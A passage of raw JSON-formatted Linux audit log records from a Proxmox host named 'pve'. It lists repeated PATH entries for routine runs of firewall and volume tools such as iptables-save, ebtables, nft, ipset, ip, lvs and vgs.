ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295503,"@rawstring":"node=pve type=PATH msg=audit(1781965295.503:64993): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PATH msg=audit(1781965295.498:64992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PATH msg=audit(1781965295.498:64992): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PATH msg=audit(1781965295.498:64991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PATH msg=audit(1781965295.498:64991): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PATH msg=audit(1781965295.498:64990): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295493,"@rawstring":"node=pve type=PATH msg=audit(1781965295.493:64989): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295493,"@rawstring":"node=pve type=PATH msg=audit(1781965295.493:64989): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295493,"@rawstring":"node=pve type=PATH msg=audit(1781965295.493:64989): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295485,"@rawstring":"node=pve type=PATH msg=audit(1781965295.485:64988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295485,"@rawstring":"node=pve type=PATH msg=audit(1781965295.485:64988): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295477,"@rawstring":"node=pve type=PATH msg=audit(1781965295.477:64987): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295477,"@rawstring":"node=pve type=PATH msg=audit(1781965295.477:64987): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295474,"@rawstring":"node=pve type=PATH msg=audit(1781965295.474:64986): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295474,"@rawstring":"node=pve type=PATH msg=audit(1781965295.474:64986): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295465,"@rawstring":"node=pve type=PATH msg=audit(1781965295.465:64985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295465,"@rawstring":"node=pve type=PATH msg=audit(1781965295.465:64985): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295459,"@rawstring":"node=pve type=PATH msg=audit(1781965295.459:64984): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295459,"@rawstring":"node=pve type=PATH msg=audit(1781965295.459:64984): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965294718,"@rawstring":"node=pve type=PATH msg=audit(1781965294.718:64983): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965294718,"@rawstring":"node=pve type=PATH msg=audit(1781965294.718:64983): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965294693,"@rawstring":"node=pve type=PATH msg=audit(1781965294.693:64982): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965294693,"@rawstring":"node=pve type=PATH msg=audit(1781965294.693:64982): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292463,"@rawstring":"node=pve type=PATH msg=audit(1781965292.463:64981): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292463,"@rawstring":"node=pve type=PATH msg=audit(1781965292.463:64981): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292463,"@rawstring":"node=pve type=PATH msg=audit(1781965292.463:64980): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292463,"@rawstring":"node=pve type=PATH msg=audit(1781965292.463:64979): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=PATH msg=audit(1781965292.453:64978): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=PATH msg=audit(1781965292.453:64978): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=PATH msg=audit(1781965292.453:64977): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=PATH msg=audit(1781965292.453:64976): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287442,"@rawstring":"node=pve type=PATH msg=audit(1781965287.442:64975): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287442,"@rawstring":"node=pve type=PATH msg=audit(1781965287.442:64975): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287442,"@rawstring":"node=pve type=PATH msg=audit(1781965287.442:64974): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287442,"@rawstring":"node=pve type=PATH msg=audit(1781965287.442:64973): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287435,"@rawstring":"node=pve type=PATH msg=audit(1781965287.435:64972): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287435,"@rawstring":"node=pve type=PATH msg=audit(1781965287.435:64972): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287435,"@rawstring":"node=pve type=PATH msg=audit(1781965287.435:64971): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287435,"@rawstring":"node=pve type=PATH msg=audit(1781965287.435:64970): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285444,"@rawstring":"node=pve type=PATH msg=audit(1781965285.444:64969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285444,"@rawstring":"node=pve type=PATH msg=audit(1781965285.444:64969): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285441,"@rawstring":"node=pve type=PATH msg=audit(1781965285.441:64968): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285441,"@rawstring":"node=pve type=PATH msg=audit(1781965285.441:64968): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285439,"@rawstring":"node=pve type=PATH msg=audit(1781965285.439:64967): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285439,"@rawstring":"node=pve type=PATH msg=audit(1781965285.439:64967): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285439,"@rawstring":"node=pve type=PATH msg=audit(1781965285.439:64966): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285435,"@rawstring":"node=pve type=PATH msg=audit(1781965285.435:64965): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285435,"@rawstring":"node=pve type=PATH msg=audit(1781965285.435:64965): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285435,"@rawstring":"node=pve type=PATH msg=audit(1781965285.435:64965): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285429,"@rawstring":"node=pve type=PATH msg=audit(1781965285.429:64964): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285429,"@rawstring":"node=pve type=PATH msg=audit(1781965285.429:64964): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285421,"@rawstring":"node=pve type=PATH msg=audit(1781965285.421:64963): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285421,"@rawstring":"node=pve type=PATH msg=audit(1781965285.421:64963): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285413,"@rawstring":"node=pve type=PATH msg=audit(1781965285.413:64962): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285413,"@rawstring":"node=pve type=PATH msg=audit(1781965285.413:64962): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285407,"@rawstring":"node=pve type=PATH msg=audit(1781965285.407:64961): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285407,"@rawstring":"node=pve type=PATH msg=audit(1781965285.407:64961): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285401,"@rawstring":"node=pve type=PATH msg=audit(1781965285.401:64959): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285401,"@rawstring":"node=pve type=PATH msg=audit(1781965285.401:64959): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285397,"@rawstring":"node=pve type=PATH msg=audit(1781965285.397:64958): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285397,"@rawstring":"node=pve type=PATH msg=audit(1781965285.397:64958): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285391,"@rawstring":"node=pve type=PATH msg=audit(1781965285.391:64957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285391,"@rawstring":"node=pve type=PATH msg=audit(1781965285.391:64957): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285386,"@rawstring":"node=pve type=PATH msg=audit(1781965285.386:64956): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285386,"@rawstring":"node=pve type=PATH msg=audit(1781965285.386:64956): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285378,"@rawstring":"node=pve type=PATH msg=audit(1781965285.378:64955): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285378,"@rawstring":"node=pve type=PATH msg=audit(1781965285.378:64955): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285373,"@rawstring":"node=pve type=PATH msg=audit(1781965285.373:64954): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285373,"@rawstring":"node=pve type=PATH msg=audit(1781965285.373:64954): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285366,"@rawstring":"node=pve type=PATH msg=audit(1781965285.366:64953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285366,"@rawstring":"node=pve type=PATH msg=audit(1781965285.366:64953): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285360,"@rawstring":"node=pve type=PATH msg=audit(1781965285.360:64952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285360,"@rawstring":"node=pve type=PATH msg=audit(1781965285.360:64952): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285356,"@rawstring":"node=pve type=PATH msg=audit(1781965285.356:64951): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285356,"@rawstring":"node=pve type=PATH msg=audit(1781965285.356:64951): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PATH msg=audit(1781965285.352:64950): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PATH msg=audit(1781965285.352:64950): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PATH msg=audit(1781965285.352:64949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PATH msg=audit(1781965285.352:64949): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PATH msg=audit(1781965285.352:64948): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285348,"@rawstring":"node=pve type=PATH msg=audit(1781965285.348:64947): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285348,"@rawstring":"node=pve type=PATH msg=audit(1781965285.348:64947): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285348,"@rawstring":"node=pve type=PATH msg=audit(1781965285.348:64947): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285340,"@rawstring":"node=pve type=PATH msg=audit(1781965285.340:64946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285340,"@rawstring":"node=pve type=PATH msg=audit(1781965285.340:64946): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285333,"@rawstring":"node=pve type=PATH msg=audit(1781965285.333:64945): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285333,"@rawstring":"node=pve type=PATH msg=audit(1781965285.333:64945): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285328,"@rawstring":"node=pve type=PATH msg=audit(1781965285.328:64944): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285328,"@rawstring":"node=pve type=PATH msg=audit(1781965285.328:64944): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285320,"@rawstring":"node=pve type=PATH msg=audit(1781965285.320:64943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285320,"@rawstring":"node=pve type=PATH msg=audit(1781965285.320:64943): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285312,"@rawstring":"node=pve type=PATH msg=audit(1781965285.312:64942): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285312,"@rawstring":"node=pve type=PATH msg=audit(1781965285.312:64942): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965284612,"@rawstring":"node=pve type=PATH msg=audit(1781965284.612:64941): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965284612,"@rawstring":"node=pve type=PATH msg=audit(1781965284.612:64941): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 